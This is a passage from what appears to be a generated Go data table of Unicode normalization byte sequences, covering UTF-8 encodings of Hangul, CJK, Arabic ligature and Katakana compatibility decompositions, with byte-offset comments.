0x45, 0x28, 0xE1, 0x84, 0x83, 0x29, 0x45, 0x28, + 0xE1, 0x84, 0x85, 0x29, 0x45, 0x28, 0xE1, 0x84, + 0x86, 0x29, 0x45, 0x28, 0xE1, 0x84, 0x87, 0x29, + 0x45, 0x28, 0xE1, 0x84, 0x89, 0x29, 0x45, 0x28, + 0xE1, 0x84, 0x8B, 0x29, 0x45, 0x28, 0xE1, 0x84, + 0x8C, 0x29, 0x45, 0x28, 0xE1, 0x84, 0x8E, 0x29, + // Bytes 21c0 - 21ff + 0x45, 0x28, 0xE1, 0x84, 0x8F, 0x29, 0x45, 0x28, + 0xE1, 0x84, 0x90, 0x29, 0x45, 0x28, 0xE1, 0x84, + 0x91, 0x29, 0x45, 0x28, 0xE1, 0x84, 0x92, 0x29, + 0x45, 0x28, 0xE4, 0xB8, 0x80, 0x29, 0x45, 0x28, + 0xE4, 0xB8, 0x83, 0x29, 0x45, 0x28, 0xE4, 0xB8, + 0x89, 0x29, 0x45, 0x28, 0xE4, 0xB9, 0x9D, 0x29, + 0x45, 0x28, 0xE4, 0xBA, 0x8C, 0x29, 0x45, 0x28, + 0xE4, 0xBA, 0x94, 0x29, 0x45, 0x28, 0xE4, 0xBB, + // Bytes 2200 - 223f + 0xA3, 0x29, 0x45, 0x28, 0xE4, 0xBC, 0x81, 0x29, + 0x45, 0x28, 0xE4, 0xBC, 0x91, 0x29, 0x45, 0x28, + 0xE5, 0x85, 0xAB, 0x29, 0x45, 0x28, 0xE5, 0x85, + 0xAD, 0x29, 0x45, 0x28, 0xE5, 0x8A, 0xB4, 0x29, + 0x45, 0x28, 0xE5, 0x8D, 0x81, 0x29, 0x45, 0x28, + 0xE5, 0x8D, 0x94, 0x29, 0x45, 0x28, 0xE5, 0x90, + 0x8D, 0x29, 0x45, 0x28, 0xE5, 0x91, 0xBC, 0x29, + 0x45, 0x28, 0xE5, 0x9B, 0x9B, 0x29, 0x45, 0x28, + // Bytes 2240 - 227f + 0xE5, 0x9C, 0x9F, 0x29, 0x45, 0x28, 0xE5, 0xAD, + 0xA6, 0x29, 0x45, 0x28, 0xE6, 0x97, 0xA5, 0x29, + 0x45, 0x28, 0xE6, 0x9C, 0x88, 0x29, 0x45, 0x28, + 0xE6, 0x9C, 0x89, 0x29, 0x45, 0x28, 0xE6, 0x9C, + 0xA8, 0x29, 0x45, 0x28, 0xE6, 0xA0, 0xAA, 0x29, + 0x45, 0x28, 0xE6, 0xB0, 0xB4, 0x29, 0x45, 0x28, + 0xE7, 0x81, 0xAB, 0x29, 0x45, 0x28, 0xE7, 0x89, + 0xB9, 0x29, 0x45, 0x28, 0xE7, 0x9B, 0xA3, 0x29, + // Bytes 2280 - 22bf + 0x45, 0x28, 0xE7, 0xA4, 0xBE, 0x29, 0x45, 0x28, + 0xE7, 0xA5, 0x9D, 0x29, 0x45, 0x28, 0xE7, 0xA5, + 0xAD, 0x29, 0x45, 0x28, 0xE8, 0x87, 0xAA, 0x29, + 0x45, 0x28, 0xE8, 0x87, 0xB3, 0x29, 0x45, 0x28, + 0xE8, 0xB2, 0xA1, 0x29, 0x45, 0x28, 0xE8, 0xB3, + 0x87, 0x29, 0x45, 0x28, 0xE9, 0x87, 0x91, 0x29, + 0x45, 0x30, 0xE2, 0x81, 0x84, 0x33, 0x45, 0x31, + 0x30, 0xE6, 0x97, 0xA5, 0x45, 0x31, 0x30, 0xE6, + // Bytes 22c0 - 22ff + 0x9C, 0x88, 0x45, 0x31, 0x30, 0xE7, 0x82, 0xB9, + 0x45, 0x31, 0x31, 0xE6, 0x97, 0xA5, 0x45, 0x31, + 0x31, 0xE6, 0x9C, 0x88, 0x45, 0x31, 0x31, 0xE7, + 0x82, 0xB9, 0x45, 0x31, 0x32, 0xE6, 0x97, 0xA5, + 0x45, 0x31, 0x32, 0xE6, 0x9C, 0x88, 0x45, 0x31, + 0x32, 0xE7, 0x82, 0xB9, 0x45, 0x31, 0x33, 0xE6, + 0x97, 0xA5, 0x45, 0x31, 0x33, 0xE7, 0x82, 0xB9, + 0x45, 0x31, 0x34, 0xE6, 0x97, 0xA5, 0x45, 0x31, + // Bytes 2300 - 233f + 0x34, 0xE7, 0x82, 0xB9, 0x45, 0x31, 0x35, 0xE6, + 0x97, 0xA5, 0x45, 0x31, 0x35, 0xE7, 0x82, 0xB9, + 0x45, 0x31, 0x36, 0xE6, 0x97, 0xA5, 0x45, 0x31, + 0x36, 0xE7, 0x82, 0xB9, 0x45, 0x31, 0x37, 0xE6, + 0x97, 0xA5, 0x45, 0x31, 0x37, 0xE7, 0x82, 0xB9, + 0x45, 0x31, 0x38, 0xE6, 0x97, 0xA5, 0x45, 0x31, + 0x38, 0xE7, 0x82, 0xB9, 0x45, 0x31, 0x39, 0xE6, + 0x97, 0xA5, 0x45, 0x31, 0x39, 0xE7, 0x82, 0xB9, + // Bytes 2340 - 237f + 0x45, 0x31, 0xE2, 0x81, 0x84, 0x32, 0x45, 0x31, + 0xE2, 0x81, 0x84, 0x33, 0x45, 0x31, 0xE2, 0x81, + 0x84, 0x34, 0x45, 0x31, 0xE2, 0x81, 0x84, 0x35, + 0x45, 0x31, 0xE2, 0x81, 0x84, 0x36, 0x45, 0x31, + 0xE2, 0x81, 0x84, 0x37, 0x45, 0x31, 0xE2, 0x81, + 0x84, 0x38, 0x45, 0x31, 0xE2, 0x81, 0x84, 0x39, + 0x45, 0x32, 0x30, 0xE6, 0x97, 0xA5, 0x45, 0x32, + 0x30, 0xE7, 0x82, 0xB9, 0x45, 0x32, 0x31, 0xE6, + // Bytes 2380 - 23bf + 0x97, 0xA5, 0x45, 0x32, 0x31, 0xE7, 0x82, 0xB9, + 0x45, 0x32, 0x32, 0xE6, 0x97, 0xA5, 0x45, 0x32, + 0x32, 0xE7, 0x82, 0xB9, 0x45, 0x32, 0x33, 0xE6, + 0x97, 0xA5, 0x45, 0x32, 0x33, 0xE7, 0x82, 0xB9, + 0x45, 0x32, 0x34, 0xE6, 0x97, 0xA5, 0x45, 0x32, + 0x34, 0xE7, 0x82, 0xB9, 0x45, 0x32, 0x35, 0xE6, + 0x97, 0xA5, 0x45, 0x32, 0x36, 0xE6, 0x97, 0xA5, + 0x45, 0x32, 0x37, 0xE6, 0x97, 0xA5, 0x45, 0x32, + // Bytes 23c0 - 23ff + 0x38, 0xE6, 0x97, 0xA5, 0x45, 0x32, 0x39, 0xE6, + 0x97, 0xA5, 0x45, 0x32, 0xE2, 0x81, 0x84, 0x33, + 0x45, 0x32, 0xE2, 0x81, 0x84, 0x35, 0x45, 0x33, + 0x30, 0xE6, 0x97, 0xA5, 0x45, 0x33, 0x31, 0xE6, + 0x97, 0xA5, 0x45, 0x33, 0xE2, 0x81, 0x84, 0x34, + 0x45, 0x33, 0xE2, 0x81, 0x84, 0x35, 0x45, 0x33, + 0xE2, 0x81, 0x84, 0x38, 0x45, 0x34, 0xE2, 0x81, + 0x84, 0x35, 0x45, 0x35, 0xE2, 0x81, 0x84, 0x36, + // Bytes 2400 - 243f + 0x45, 0x35, 0xE2, 0x81, 0x84, 0x38, 0x45, 0x37, + 0xE2, 0x81, 0x84, 0x38, 0x45, 0x41, 0xE2, 0x88, + 0x95, 0x6D, 0x45, 0x56, 0xE2, 0x88, 0x95, 0x6D, + 0x45, 0x6D, 0xE2, 0x88, 0x95, 0x73, 0x46, 0x31, + 0xE2, 0x81, 0x84, 0x31, 0x30, 0x46, 0x43, 0xE2, + 0x88, 0x95, 0x6B, 0x67, 0x46, 0x6D, 0xE2, 0x88, + 0x95, 0x73, 0x32, 0x46, 0xD8, 0xA8, 0xD8, 0xAD, + 0xD9, 0x8A, 0x46, 0xD8, 0xA8, 0xD8, 0xAE, 0xD9, + // Bytes 2440 - 247f + 0x8A, 0x46, 0xD8, 0xAA, 0xD8, 0xAC, 0xD9, 0x85, + 0x46, 0xD8, 0xAA, 0xD8, 0xAC, 0xD9, 0x89, 0x46, + 0xD8, 0xAA, 0xD8, 0xAC, 0xD9, 0x8A, 0x46, 0xD8, + 0xAA, 0xD8, 0xAD, 0xD8, 0xAC, 0x46, 0xD8, 0xAA, + 0xD8, 0xAD, 0xD9, 0x85, 0x46, 0xD8, 0xAA, 0xD8, + 0xAE, 0xD9, 0x85, 0x46, 0xD8, 0xAA, 0xD8, 0xAE, + 0xD9, 0x89, 0x46, 0xD8, 0xAA, 0xD8, 0xAE, 0xD9, + 0x8A, 0x46, 0xD8, 0xAA, 0xD9, 0x85, 0xD8, 0xAC, + // Bytes 2480 - 24bf + 0x46, 0xD8, 0xAA, 0xD9, 0x85, 0xD8, 0xAD, 0x46, + 0xD8, 0xAA, 0xD9, 0x85, 0xD8, 0xAE, 0x46, 0xD8, + 0xAA, 0xD9, 0x85, 0xD9, 0x89, 0x46, 0xD8, 0xAA, + 0xD9, 0x85, 0xD9, 0x8A, 0x46, 0xD8, 0xAC, 0xD8, + 0xAD, 0xD9, 0x89, 0x46, 0xD8, 0xAC, 0xD8, 0xAD, + 0xD9, 0x8A, 0x46, 0xD8, 0xAC, 0xD9, 0x85, 0xD8, + 0xAD, 0x46, 0xD8, 0xAC, 0xD9, 0x85, 0xD9, 0x89, + 0x46, 0xD8, 0xAC, 0xD9, 0x85, 0xD9, 0x8A, 0x46, + // Bytes 24c0 - 24ff + 0xD8, 0xAD, 0xD8, 0xAC, 0xD9, 0x8A, 0x46, 0xD8, + 0xAD, 0xD9, 0x85, 0xD9, 0x89, 0x46, 0xD8, 0xAD, + 0xD9, 0x85, 0xD9, 0x8A, 0x46, 0xD8, 0xB3, 0xD8, + 0xAC, 0xD8, 0xAD, 0x46, 0xD8, 0xB3, 0xD8, 0xAC, + 0xD9, 0x89, 0x46, 0xD8, 0xB3, 0xD8, 0xAD, 0xD8, + 0xAC, 0x46, 0xD8, 0xB3, 0xD8, 0xAE, 0xD9, 0x89, + 0x46, 0xD8, 0xB3, 0xD8, 0xAE, 0xD9, 0x8A, 0x46, + 0xD8, 0xB3, 0xD9, 0x85, 0xD8, 0xAC, 0x46, 0xD8, + // Bytes 2500 - 253f + 0xB3, 0xD9, 0x85, 0xD8, 0xAD, 0x46, 0xD8, 0xB3, + 0xD9, 0x85, 0xD9, 0x85, 0x46, 0xD8, 0xB4, 0xD8, + 0xAC, 0xD9, 0x8A, 0x46, 0xD8, 0xB4, 0xD8, 0xAD, + 0xD9, 0x85, 0x46, 0xD8, 0xB4, 0xD8, 0xAD, 0xD9, + 0x8A, 0x46, 0xD8, 0xB4, 0xD9, 0x85, 0xD8, 0xAE, + 0x46, 0xD8, 0xB4, 0xD9, 0x85, 0xD9, 0x85, 0x46, + 0xD8, 0xB5, 0xD8, 0xAD, 0xD8, 0xAD, 0x46, 0xD8, + 0xB5, 0xD8, 0xAD, 0xD9, 0x8A, 0x46, 0xD8, 0xB5, + // Bytes 2540 - 257f + 0xD9, 0x84, 0xD9, 0x89, 0x46, 0xD8, 0xB5, 0xD9, + 0x84, 0xDB, 0x92, 0x46, 0xD8, 0xB5, 0xD9, 0x85, + 0xD9, 0x85, 0x46, 0xD8, 0xB6, 0xD8, 0xAD, 0xD9, + 0x89, 0x46, 0xD8, 0xB6, 0xD8, 0xAD, 0xD9, 0x8A, + 0x46, 0xD8, 0xB6, 0xD8, 0xAE, 0xD9, 0x85, 0x46, + 0xD8, 0xB7, 0xD9, 0x85, 0xD8, 0xAD, 0x46, 0xD8, + 0xB7, 0xD9, 0x85, 0xD9, 0x85, 0x46, 0xD8, 0xB7, + 0xD9, 0x85, 0xD9, 0x8A, 0x46, 0xD8, 0xB9, 0xD8, + // Bytes 2580 - 25bf + 0xAC, 0xD9, 0x85, 0x46, 0xD8, 0xB9, 0xD9, 0x85, + 0xD9, 0x85, 0x46, 0xD8, 0xB9, 0xD9, 0x85, 0xD9, + 0x89, 0x46, 0xD8, 0xB9, 0xD9, 0x85, 0xD9, 0x8A, + 0x46, 0xD8, 0xBA, 0xD9, 0x85, 0xD9, 0x85, 0x46, + 0xD8, 0xBA, 0xD9, 0x85, 0xD9, 0x89, 0x46, 0xD8, + 0xBA, 0xD9, 0x85, 0xD9, 0x8A, 0x46, 0xD9, 0x81, + 0xD8, 0xAE, 0xD9, 0x85, 0x46, 0xD9, 0x81, 0xD9, + 0x85, 0xD9, 0x8A, 0x46, 0xD9, 0x82, 0xD9, 0x84, + // Bytes 25c0 - 25ff + 0xDB, 0x92, 0x46, 0xD9, 0x82, 0xD9, 0x85, 0xD8, + 0xAD, 0x46, 0xD9, 0x82, 0xD9, 0x85, 0xD9, 0x85, + 0x46, 0xD9, 0x82, 0xD9, 0x85, 0xD9, 0x8A, 0x46, + 0xD9, 0x83, 0xD9, 0x85, 0xD9, 0x85, 0x46, 0xD9, + 0x83, 0xD9, 0x85, 0xD9, 0x8A, 0x46, 0xD9, 0x84, + 0xD8, 0xAC, 0xD8, 0xAC, 0x46, 0xD9, 0x84, 0xD8, + 0xAC, 0xD9, 0x85, 0x46, 0xD9, 0x84, 0xD8, 0xAC, + 0xD9, 0x8A, 0x46, 0xD9, 0x84, 0xD8, 0xAD, 0xD9, + // Bytes 2600 - 263f + 0x85, 0x46, 0xD9, 0x84, 0xD8, 0xAD, 0xD9, 0x89, + 0x46, 0xD9, 0x84, 0xD8, 0xAD, 0xD9, 0x8A, 0x46, + 0xD9, 0x84, 0xD8, 0xAE, 0xD9, 0x85, 0x46, 0xD9, + 0x84, 0xD9, 0x85, 0xD8, 0xAD, 0x46, 0xD9, 0x84, + 0xD9, 0x85, 0xD9, 0x8A, 0x46, 0xD9, 0x85, 0xD8, + 0xAC, 0xD8, 0xAD, 0x46, 0xD9, 0x85, 0xD8, 0xAC, + 0xD8, 0xAE, 0x46, 0xD9, 0x85, 0xD8, 0xAC, 0xD9, + 0x85, 0x46, 0xD9, 0x85, 0xD8, 0xAC, 0xD9, 0x8A, + // Bytes 2640 - 267f + 0x46, 0xD9, 0x85, 0xD8, 0xAD, 0xD8, 0xAC, 0x46, + 0xD9, 0x85, 0xD8, 0xAD, 0xD9, 0x85, 0x46, 0xD9, + 0x85, 0xD8, 0xAD, 0xD9, 0x8A, 0x46, 0xD9, 0x85, + 0xD8, 0xAE, 0xD8, 0xAC, 0x46, 0xD9, 0x85, 0xD8, + 0xAE, 0xD9, 0x85, 0x46, 0xD9, 0x85, 0xD8, 0xAE, + 0xD9, 0x8A, 0x46, 0xD9, 0x85, 0xD9, 0x85, 0xD9, + 0x8A, 0x46, 0xD9, 0x86, 0xD8, 0xAC, 0xD8, 0xAD, + 0x46, 0xD9, 0x86, 0xD8, 0xAC, 0xD9, 0x85, 0x46, + // Bytes 2680 - 26bf + 0xD9, 0x86, 0xD8, 0xAC, 0xD9, 0x89, 0x46, 0xD9, + 0x86, 0xD8, 0xAC, 0xD9, 0x8A, 0x46, 0xD9, 0x86, + 0xD8, 0xAD, 0xD9, 0x85, 0x46, 0xD9, 0x86, 0xD8, + 0xAD, 0xD9, 0x89, 0x46, 0xD9, 0x86, 0xD8, 0xAD, + 0xD9, 0x8A, 0x46, 0xD9, 0x86, 0xD9, 0x85, 0xD9, + 0x89, 0x46, 0xD9, 0x86, 0xD9, 0x85, 0xD9, 0x8A, + 0x46, 0xD9, 0x87, 0xD9, 0x85, 0xD8, 0xAC, 0x46, + 0xD9, 0x87, 0xD9, 0x85, 0xD9, 0x85, 0x46, 0xD9, + // Bytes 26c0 - 26ff + 0x8A, 0xD8, 0xAC, 0xD9, 0x8A, 0x46, 0xD9, 0x8A, + 0xD8, 0xAD, 0xD9, 0x8A, 0x46, 0xD9, 0x8A, 0xD9, + 0x85, 0xD9, 0x85, 0x46, 0xD9, 0x8A, 0xD9, 0x85, + 0xD9, 0x8A, 0x46, 0xD9, 0x8A, 0xD9, 0x94, 0xD8, + 0xA7, 0x46, 0xD9, 0x8A, 0xD9, 0x94, 0xD8, 0xAC, + 0x46, 0xD9, 0x8A, 0xD9, 0x94, 0xD8, 0xAD, 0x46, + 0xD9, 0x8A, 0xD9, 0x94, 0xD8, 0xAE, 0x46, 0xD9, + 0x8A, 0xD9, 0x94, 0xD8, 0xB1, 0x46, 0xD9, 0x8A, + // Bytes 2700 - 273f + 0xD9, 0x94, 0xD8, 0xB2, 0x46, 0xD9, 0x8A, 0xD9, + 0x94, 0xD9, 0x85, 0x46, 0xD9, 0x8A, 0xD9, 0x94, + 0xD9, 0x86, 0x46, 0xD9, 0x8A, 0xD9, 0x94, 0xD9, + 0x87, 0x46, 0xD9, 0x8A, 0xD9, 0x94, 0xD9, 0x88, + 0x46, 0xD9, 0x8A, 0xD9, 0x94, 0xD9, 0x89, 0x46, + 0xD9, 0x8A, 0xD9, 0x94, 0xD9, 0x8A, 0x46, 0xD9, + 0x8A, 0xD9, 0x94, 0xDB, 0x86, 0x46, 0xD9, 0x8A, + 0xD9, 0x94, 0xDB, 0x87, 0x46, 0xD9, 0x8A, 0xD9, + // Bytes 2740 - 277f + 0x94, 0xDB, 0x88, 0x46, 0xD9, 0x8A, 0xD9, 0x94, + 0xDB, 0x90, 0x46, 0xD9, 0x8A, 0xD9, 0x94, 0xDB, + 0x95, 0x46, 0xE0, 0xB9, 0x8D, 0xE0, 0xB8, 0xB2, + 0x46, 0xE0, 0xBA, 0xAB, 0xE0, 0xBA, 0x99, 0x46, + 0xE0, 0xBA, 0xAB, 0xE0, 0xBA, 0xA1, 0x46, 0xE0, + 0xBB, 0x8D, 0xE0, 0xBA, 0xB2, 0x46, 0xE0, 0xBD, + 0x80, 0xE0, 0xBE, 0xB5, 0x46, 0xE0, 0xBD, 0x82, + 0xE0, 0xBE, 0xB7, 0x46, 0xE0, 0xBD, 0x8C, 0xE0, + // Bytes 2780 - 27bf + 0xBE, 0xB7, 0x46, 0xE0, 0xBD, 0x91, 0xE0, 0xBE, + 0xB7, 0x46, 0xE0, 0xBD, 0x96, 0xE0, 0xBE, 0xB7, + 0x46, 0xE0, 0xBD, 0x9B, 0xE0, 0xBE, 0xB7, 0x46, + 0xE0, 0xBE, 0x90, 0xE0, 0xBE, 0xB5, 0x46, 0xE0, + 0xBE, 0x92, 0xE0, 0xBE, 0xB7, 0x46, 0xE0, 0xBE, + 0x9C, 0xE0, 0xBE, 0xB7, 0x46, 0xE0, 0xBE, 0xA1, + 0xE0, 0xBE, 0xB7, 0x46, 0xE0, 0xBE, 0xA6, 0xE0, + 0xBE, 0xB7, 0x46, 0xE0, 0xBE, 0xAB, 0xE0, 0xBE, + // Bytes 27c0 - 27ff + 0xB7, 0x46, 0xE2, 0x80, 0xB2, 0xE2, 0x80, 0xB2, + 0x46, 0xE2, 0x80, 0xB5, 0xE2, 0x80, 0xB5, 0x46, + 0xE2, 0x88, 0xAB, 0xE2, 0x88, 0xAB, 0x46, 0xE2, + 0x88, 0xAE, 0xE2, 0x88, 0xAE, 0x46, 0xE3, 0x81, + 0xBB, 0xE3, 0x81, 0x8B, 0x46, 0xE3, 0x82, 0x88, + 0xE3, 0x82, 0x8A, 0x46, 0xE3, 0x82, 0xAD, 0xE3, + 0x83, 0xAD, 0x46, 0xE3, 0x82, 0xB3, 0xE3, 0x82, + 0xB3, 0x46, 0xE3, 0x82, 0xB3, 0xE3, 0x83, 0x88, + // Bytes 2800 - 283f + 0x46, 0xE3, 0x83, 0x88, 0xE3, 0x83, 0xB3, 0x46, + 0xE3, 0x83, 0x8A, 0xE3, 0x83, 0x8E, 0x46, 0xE3, + 0x83, 0x9B, 0xE3, 0x83, 0xB3, 0x46, 0xE3, 0x83, + 0x9F, 0xE3, 0x83, 0xAA, 0x46, 0xE3, 0x83, 0xAA, + 0xE3, 0x83, 0xA9, 0x46, 0xE3, 0x83, 0xAC, 0xE3, + 0x83, 0xA0, 0x46, 0xE4, 0xBB, 0xA4, 0xE5, 0x92, + 0x8C, 0x46, 0xE5, 0xA4, 0xA7, 0xE6, 0xAD, 0xA3, + 0x46, 0xE5, 0xB9, 0xB3, 0xE6, 0x88, 0x90, 0x46, + // Bytes 2840 - 287f + 0xE6, 0x98, 0x8E, 0xE6, 0xB2, 0xBB, 0x46, 0xE6, + 0x98, 0xAD, 0xE5, 0x92, 0x8C, 0x47, 0x72, 0x61, + 0x64, 0xE2, 0x88, 0x95, 0x73, 0x47, 0xE3, 0x80, + 0x94, 0x53, 0xE3, 0x80, 0x95, 0x48, 0x28, 0xE1, + 0x84, 0x80, 0xE1, 0x85, 0xA1, 0x29, 0x48, 0x28, + 0xE1, 0x84, 0x82, 0xE1, 0x85, 0xA1, 0x29, 0x48, + 0x28, 0xE1, 0x84, 0x83, 0xE1, 0x85, 0xA1, 0x29, + 0x48, 0x28, 0xE1, 0x84, 0x85, 0xE1, 0x85, 0xA1, + // Bytes 2880 - 28bf + 0x29, 0x48, 0x28, 0xE1, 0x84, 0x86, 0xE1, 0x85, + 0xA1, 0x29, 0x48, 0x28, 0xE1, 0x84, 0x87, 0xE1, + 0x85, 0xA1, 0x29, 0x48, 0x28, 0xE1, 0x84, 0x89, + 0xE1, 0x85, 0xA1, 0x29, 0x48, 0x28, 0xE1, 0x84, + 0x8B, 0xE1, 0x85, 0xA1, 0x29, 0x48, 0x28, 0xE1, + 0x84, 0x8C, 0xE1, 0x85, 0xA1, 0x29, 0x48, 0x28, + 0xE1, 0x84, 0x8C, 0xE1, 0x85, 0xAE, 0x29, 0x48, + 0x28, 0xE1, 0x84, 0x8E, 0xE1, 0x85, 0xA1, 0x29, + // Bytes 28c0 - 28ff + 0x48, 0x28, 0xE1, 0x84, 0x8F, 0xE1, 0x85, 0xA1, + 0x29, 0x48, 0x28, 0xE1, 0x84, 0x90, 0xE1, 0x85, + 0xA1, 0x29, 0x48, 0x28, 0xE1, 0x84, 0x91, 0xE1, + 0x85, 0xA1, 0x29, 0x48, 0x28, 0xE1, 0x84, 0x92, + 0xE1, 0x85, 0xA1, 0x29, 0x48, 0x72, 0x61, 0x64, + 0xE2, 0x88, 0x95, 0x73, 0x32, 0x48, 0xD8, 0xA7, + 0xD9, 0x83, 0xD8, 0xA8, 0xD8, 0xB1, 0x48, 0xD8, + 0xA7, 0xD9, 0x84, 0xD9, 0x84, 0xD9, 0x87, 0x48, + // Bytes 2900 - 293f + 0xD8, 0xB1, 0xD8, 0xB3, 0xD9, 0x88, 0xD9, 0x84, + 0x48, 0xD8, 0xB1, 0xDB, 0x8C, 0xD8, 0xA7, 0xD9, + 0x84, 0x48, 0xD8, 0xB5, 0xD9, 0x84, 0xD8, 0xB9, + 0xD9, 0x85, 0x48, 0xD8, 0xB9, 0xD9, 0x84, 0xD9, + 0x8A, 0xD9, 0x87, 0x48, 0xD9, 0x85, 0xD8, 0xAD, + 0xD9, 0x85, 0xD8, 0xAF, 0x48, 0xD9, 0x88, 0xD8, + 0xB3, 0xD9, 0x84, 0xD9, 0x85, 0x49, 0xE2, 0x80, + 0xB2, 0xE2, 0x80, 0xB2, 0xE2, 0x80, 0xB2, 0x49, + // Bytes 2940 - 297f + 0xE2, 0x80, 0xB5, 0xE2, 0x80, 0xB5, 0xE2, 0x80, + 0xB5, 0x49, 0xE2, 0x88, 0xAB, 0xE2, 0x88, 0xAB, + 0xE2, 0x88, 0xAB, 0x49, 0xE2, 0x88, 0xAE, 0xE2, + 0x88, 0xAE, 0xE2, 0x88, 0xAE, 0x49, 0xE3, 0x80, + 0x94, 0xE4, 0xB8, 0x89, 0xE3, 0x80, 0x95, 0x49, + 0xE3, 0x80, 0x94, 0xE4, 0xBA, 0x8C, 0xE3, 0x80, + 0x95, 0x49, 0xE3, 0x80, 0x94, 0xE5, 0x8B, 0x9D, + 0xE3, 0x80, 0x95, 0x49, 0xE3, 0x80, 0x94, 0xE5, + // Bytes 2980 - 29bf + 0xAE, 0x89, 0xE3, 0x80, 0x95, 0x49, 0xE3, 0x80, + 0x94, 0xE6, 0x89, 0x93, 0xE3, 0x80, 0x95, 0x49, + 0xE3, 0x80, 0x94, 0xE6, 0x95, 0x97, 0xE3, 0x80, + 0x95, 0x49, 0xE3, 0x80, 0x94, 0xE6, 0x9C, 0xAC, + 0xE3, 0x80, 0x95, 0x49, 0xE3, 0x80, 0x94, 0xE7, + 0x82, 0xB9, 0xE3, 0x80, 0x95, 0x49, 0xE3, 0x80, + 0x94, 0xE7, 0x9B, 0x97, 0xE3, 0x80, 0x95, 0x49, + 0xE3, 0x82, 0xA2, 0xE3, 0x83, 0xBC, 0xE3, 0x83, + // Bytes 29c0 - 29ff + 0xAB, 0x49, 0xE3, 0x82, 0xA4, 0xE3, 0x83, 0xB3, + 0xE3, 0x83, 0x81, 0x49, 0xE3, 0x82, 0xA6, 0xE3, + 0x82, 0xA9, 0xE3, 0x83, 0xB3, 0x49, 0xE3, 0x82, + 0xAA, 0xE3, 0x83, 0xB3, 0xE3, 0x82, 0xB9, 0x49, + 0xE3, 0x82, 0xAA, 0xE3, 0x83, 0xBC, 0xE3, 0x83, + 0xA0, 0x49, 0xE3, 0x82, 0xAB, 0xE3, 0x82, 0xA4, + 0xE3, 0x83, 0xAA, 0x49, 0xE3, 0x82, 0xB1, 0xE3, + 0x83, 0xBC, 0xE3, 0x82, 0xB9, 0x49, 0xE3, 0x82, + // Bytes 2a00 - 2a3f + 0xB3, 0xE3, 0x83, 0xAB, 0xE3, 0x83, 0x8A, 0x49, + 0xE3, 0x82, 0xBB, 0xE3, 0x83, 0xB3, 0xE3, 0x83, + 0x81, 0x49, 0xE3, 0x82, 0xBB, 0xE3, 0x83, 0xB3, + 0xE3, 0x83, 0x88, 0x49, 0xE3, 0x83, 0x86, 0xE3, + 0x82, 0x99, 0xE3, 0x82, 0xB7, 0x49, 0xE3, 0x83, + 0x88, 0xE3, 0x82, 0x99, 0xE3, 0x83, 0xAB, 0x49, + 0xE3, 0x83, 0x8E, 0xE3, 0x83, 0x83, 0xE3, 0x83, + 0x88, 0x49, 0xE3, 0x83, 0x8F, 0xE3, 0x82, 0xA4, + // Bytes 2a40 - 2a7f + 0xE3, 0x83, 0x84, 0x49, 0xE3, 0x83, 0x92, 0xE3, + 0x82, 0x99, 0xE3, 0x83, 0xAB, 0x49, 0xE3, 0x83, + 0x92, 0xE3, 0x82, 0x9A, 0xE3, 0x82, 0xB3, 0x49, + 0xE3, 0x83, 0x95, 0xE3, 0x83, 0xA9, 0xE3, 0x83, + 0xB3, 0x49, 0xE3, 0x83, 0x98, 0xE3, 0x82, 0x9A, + 0xE3, 0x82, 0xBD, 0x49, 0xE3, 0x83, 0x98, 0xE3, + 0x83, 0xAB, 0xE3, 0x83, 0x84, 0x49, 0xE3, 0x83, + 0x9B, 0xE3, 0x83, 0xBC, 0xE3, 0x83, 0xAB, 0x49, + // Bytes 2a80 - 2abf + 0xE3, 0x83, 0x9B, 0xE3, 0x83, 0xBC, 0xE3, 0x83, + 0xB3, 0x49, 0xE3, 0x83, 0x9E, 0xE3, 0x82, 0xA4, + 0xE3, 0x83, 0xAB, 0x49, 0xE3, 0x83, 0x9E, 0xE3, + 0x83, 0x83, 0xE3, 0x83, 0x8F, 0x49, 0xE3, 0x83, + 0x9E, 0xE3, 0x83, 0xAB, 0xE3, 0x82, 0xAF, 0x49, + 0xE3, 0x83, 0xA4, 0xE3, 0x83, 0xBC, 0xE3, 0x83, + 0xAB, 0x49, 0xE3, 0x83, 0xA6, 0xE3, 0x82, 0xA2, + 0xE3, 0x83, 0xB3, 0x49, 0xE3, 0x83, 0xAF, 0xE3, + // Bytes 2ac0 - 2aff + 0x83, 0x83, 0xE3, 0x83, 0x88, 0x4C, 0xE2, 0x80, + 0xB2, 0xE2, 0x80, 0xB2, 0xE2, 0x80, 0xB2, 0xE2, + 0x80, 0xB2, 0x4C, 0xE2, 0x88, 0xAB, 0xE2, 0x88, + 0xAB, 0xE2, 0x88, 0xAB, 0xE2, 0x88, 0xAB, 0x4C, + 0xE3, 0x82, 0xA2, 0xE3, 0x83, 0xAB, 0xE3, 0x83, + 0x95, 0xE3, 0x82, 0xA1, 0x4C, 0xE3, 0x82, 0xA8, + 0xE3, 0x83, 0xBC, 0xE3, 0x82, 0xAB, 0xE3, 0x83, + 0xBC, 0x4C, 0xE3, 0x82, 0xAB, 0xE3, 0x82, 0x99, + // Bytes 2b00 - 2b3f + 0xE3, 0x83, 0xAD, 0xE3, 0x83, 0xB3, 0x4C, 0xE3, + 0x82, 0xAB, 0xE3, 0x82, 0x99, 0xE3, 0x83, 0xB3, + 0xE3, 0x83, 0x9E, 0x4C, 0xE3, 0x82, 0xAB, 0xE3, + 0x83, 0xA9, 0xE3, 0x83, 0x83, 0xE3, 0x83, 0x88, + 0x4C, 0xE3, 0x82, 0xAB, 0xE3, 0x83, 0xAD, 0xE3, + 0x83, 0xAA, 0xE3, 0x83, 0xBC, 0x4C, 0xE3, 0x82, + 0xAD, 0xE3, 0x82, 0x99, 0xE3, 0x83, 0x8B, 0xE3, + 0x83, 0xBC, 0x4C, 0xE3, 0x82, 0xAD, 0xE3, 0x83, + // Bytes 2b40 - 2b7f + 0xA5, 0xE3, 0x83, 0xAA, 0xE3, 0x83, 0xBC, 0x4C, + 0xE3, 0x82, 0xAF, 0xE3, 0x82, 0x99, 0xE3, 0x83, + 0xA9, 0xE3, 0x83, 0xA0, 0x4C, 0xE3, 0x82, 0xAF, + 0xE3, 0x83, 0xAD, 0xE3, 0x83, 0xBC, 0xE3, 0x83, + 0x8D, 0x4C, 0xE3, 0x82, 0xB5, 0xE3, 0x82, 0xA4, + 0xE3, 0x82, 0xAF, 0xE3, 0x83, 0xAB, 0x4C, 0xE3, + 0x82, 0xBF, 0xE3, 0x82, 0x99, 0xE3, 0x83, 0xBC, + 0xE3, 0x82, 0xB9, 0x4C, 0xE3, 0x83, 0x8F, 0xE3, + // Bytes 2b80 - 2bbf + 0x82, 0x9A, 